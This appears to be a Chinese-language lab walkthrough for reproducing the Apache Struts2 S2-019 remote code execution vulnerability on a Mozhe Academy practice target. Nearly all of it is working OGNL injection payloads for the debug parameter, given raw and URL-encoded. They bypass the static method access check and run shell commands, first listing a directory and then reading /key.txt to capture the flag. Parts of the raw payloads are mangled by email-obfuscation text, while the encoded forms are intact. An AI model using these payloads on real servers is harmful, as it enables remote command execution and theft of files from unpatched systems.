Apache Struts2远程代码执行漏洞(S2-019)

漏洞简介

s2-019：动态方法调用是一种已知会施加可能的安全漏洞的机制，但到目前为止，它默认启用，警告用户应尽可能将其关闭；

漏洞复现

靶机选择墨者学院

?debug=command&expression=#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),#[email protected]@getRequest(),#[email protected]@getResponse().getWriter(),#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'ls'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[1000],#d.read(#e),#resp.println(#e),#resp.close()

url编码后

?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B'ls'%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close()

访问http://ip/1.action+poc（这里随便一个action都行，随便起一个名就可以）

修改poc，查看key.txt文件

?debug=command&expression=#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),#[email protected]@getRequest(),#[email protected]@getResponse().getWriter(),#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/key.txt'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[1000],#d.read(#e),#resp.println(#e),#resp.close()

url编码后

?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B'cat%27%2c%27%2fkey.txt'%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close()

得到key